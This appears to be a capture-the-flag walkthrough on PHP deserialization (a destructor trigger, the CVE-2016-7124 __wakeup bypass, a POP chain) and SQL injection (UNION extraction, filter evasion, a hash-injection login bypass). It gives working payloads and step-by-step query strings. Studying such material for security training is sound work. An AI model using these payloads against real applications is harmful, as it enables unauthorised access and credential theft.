PHP Deserialization Exploitation
Basic Object Instantiation and Serialization
This challenge demonstrates fundamental PHP object serialization. The target application contains a class that automatically executes code upon object destruction. By crafting a specific serialized string, an attacker can manipulate object properties to trigger privileged execution.
Analysis of the application reveals a class structure similar to the following:
<?php
class UserAuth {
public $role;
public $token;
public function __construct() {
$this->role = "visitor";
$this->token = "guest_access";
}
public function __destruct() {
if ($this->role === "administrator" && $this->token === "root_key") {
echo file_get_contents("secret_flag.txt");
} else {
echo "Insufficient privileges.";
}
}
}
// Serialization script for payload generation
$obj = new UserAuth();
$obj->role = "administrator";
$obj->token = "root_key";
echo serialize($obj);
?>
Executing the serialization script produces the following string:
O:8:"UserAuth":2:{s:4:"role";s:13:"administrator";s:5:"token";s:8:"root_key";}
The payload is delivered by passing the serialized object to the application's input parameter:
?data=O:8:"UserAuth":2:{s:4:"role";s:13:"administrator";s:5:"token";s:8:"root_key";}
When the script terminates, the __destruct() method triggers, verifies the modified properties, and outputs the target data.
Circumventing Magic Method Execution
Advanced serialization chalenges often implement initialization routines to sanitize object states. The __wakeup() magic method is frequent used to reset properties or hash values immediately after unserialization. A known vulnerability (CVE-2016-7124) allows attackers to bypass this method by altering the serialized property count.
Consider the following class structure:
<?php
class SessionValidator {
public $user_level;
public $auth_code;
public function __wakeup() {
// Intended to sanitize the code upon deserialization
$this->auth_code = sha1($this->auth_code);
}
public function __destruct() {
if ($this->user_level === "superuser" && $this->auth_code === "original_value") {
echo "System root access granted.";
} else {
echo "Session invalidated.";
}
}
}
$session = new SessionValidator();
$session->user_level = "superuser";
$session->auth_code = "original_value";
echo serialize($session);
?>
Standard serialization yields:
O:15:"SessionValidator":2:{s:10:"user_level";s:9:"superuser";s:9:"auth_code";s:14:"original_value";}
Direct submission triggers __wakeup(), hashing the code and causing authentication failure. To bypass this, modify the property count field (2) to any integer greater than the actual number of properties (e.g., 3 or 5).
?session_data=O:15:"SessionValidator":3:{s:10:"user_level";s:9:"superuser";s:9:"auth_code";s:14:"original_value";}
The PHP engine fails to invoke __wakeup() when the count mismatch occurs, allowing the raw property values to reach __destruct() unchecked.
Constructing a PHP Object Injection Chain
Complex scenarios require chaining multiple classes to reach a vulnerable sink. This technique, known as a POP (Property-Oriented Programming) chain, relies on understanding the execution flow of magic methods such as __destruct(), __toString(), and dynamic method invocation.
Analyze the following class relationships:
<?php
class SecureStorage {
private $db_pass = "hidden";
protected $schema = "protected";
public function readVault() {
echo "FLAG: challenge_solved_2024";
}
}
class DataRouter {
public $target;
public $action_name;
public function __toString() {
$method = $this->target->{$this->action_name};
$method();
return "";
}
}
class LogWriter {
public $output_stream;
public function __destruct() {
echo $this->output_stream;
}
}
// Chain construction
$logger = new LogWriter();
$logger->output_stream = new DataRouter();
$logger->output_stream->target = new SecureStorage();
$logger->output_stream->action_name = "readVault";
echo urlencode(serialize($logger));
?>
Execution Flow:
LogWriteris destroyed, triggering__destruct().__destruct()attempts toechotheoutput_streamobject, implicitly callingDataRouter::__toString().__toString()dynamically invokes a method on theSecureStorageinstance using theaction_nameproperty.SecureStorage::readVault()executes, revealing the target data.
Note that private and protected properties are serialized with null bytes (%00). URL encoding ensures safe transmission. The final payload is appended to the vulnerable parameter to initiate the chain upon script shutdown.
SQL Injection and Filter Evasion
Standard Union-Based Extraction
This scenario demonstrates classic character-based UNION injection. The application concatenates user input directly into a SQL query without parameterization.
Step 1: Column Enumeration
Inject a single quote to verify syntax error, then use ORDER BY to determine the column count:
?item=1' ORDER BY 3-- -
// Error on 4 confirms exactly 3 columns.
Step 2: Vulnerable Position Identification
Use a UNION SELECT with dummy values to locate reflected columns:
?item=-1' UNION SELECT 1,2,3-- -
// Columns 2 and 3 are reflected in the response.
Step 3: Schema Enumeration
Extract database name and table structures using the information schema:
?item=-1' UNION SELECT 1,2,database()-- -
// Returns: production_db
?item=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='production_db'-- -
// Returns: users, credentials
Step 4: Data Extraction
Target the credentials table and dump the flag column:
?item=-1' UNION SELECT 1,2,GROUP_CONCAT(flag_data) FROM credentials-- -
The response contains the complete target string.
Advanced Filter Bypass Techniques
When basic keywords are blocked, alternative syntax and encoding must be employed to maintain query validity while evading detection.
Whitespace and Comment Bypass
Replace standard spaces with inline comments and use URL-encoded terminators:
?query=1'/**/ORDER/**/BY/**/3%23
Operator and Keyword Substitution
Filter rules often block = and AND. Substitute them with LIKE and alternative logical constructs:
?query=-1'/**/UNION/**/SELECT/**/1,2,GROUP_CONCAT(table_name)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema/**/LIKE('db_name')%23
String Truncation and Chunking
If output length is restricted or sensitive strings are partially filtered, use extraction functions like MID() or SUBSTRING() to retrieve data in segments:
?query=-1'/**/UNION/**/SELECT/**/1,2,MID(GROUP_CONCAT(secret),1,20)/**/FROM/**/target_table%23
// Retrieves characters 1-20
?query=-1'/**/UNION/**/SELECT/**/1,2,MID(GROUP_CONCAT(secret),21,20)/**/FROM/**/target_table%23
// Retrieves characters 21-40
Concatenating the sequential responses reconstructs the full payload.
Encoded POST Requests and Logic Manipulation
Some challenges implement double encoding on POST parameters to obscure the underlying SQL structure. Initial reconnaissance requires decoding the intercepted traffic.
Decoding the Query Structure
Intercepted parameters often appear as Base32, which decodes to Base64, and final reveals the raw SQL template:
SELECT * FROM accounts WHERE login = '$username'
This confirms a character-based injection point in the login field.
Column Counting with Keyword Restrictions
If ORDER BY is filtered, GROUP BY can often be used as a functional equivalent for determining column indices:
login=1' GROUP BY 3-- -&pw=dummy
// Error on 4 indicates 3 columns.
Weak Guessing and Position Verification
Assuming a standard id, username, password schema, test each position using UNION SELECT with a known value like 'admin'. Application feedback typically differentiates between invalid user and invalid password states:
login=-1' UNION SELECT 'admin',2,3-- -&pw=dummy // Returns "Invalid User"
login=-1' UNION SELECT 1,'admin',3-- -&pw=dummy // Returns "Invalid Password"
login=-1' UNION SELECT 1,2,'admin'-- -&pw=dummy // Returns "Invalid User"
The second payload returning "Invalid Password" confirms that 'admin' resides in the second column, and the third column expects the hashed password.
Hash Injection
Provide a pre-computed MD5 hash for a common password (e.g., 123 hashes to 202cb962ac59075b964b07152d234b70) in the third column, while supplying the plaintext password in the secondary parameter to satisfy the verification logic:
login=-1' UNION SELECT 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
Successful authentication returns the application flag.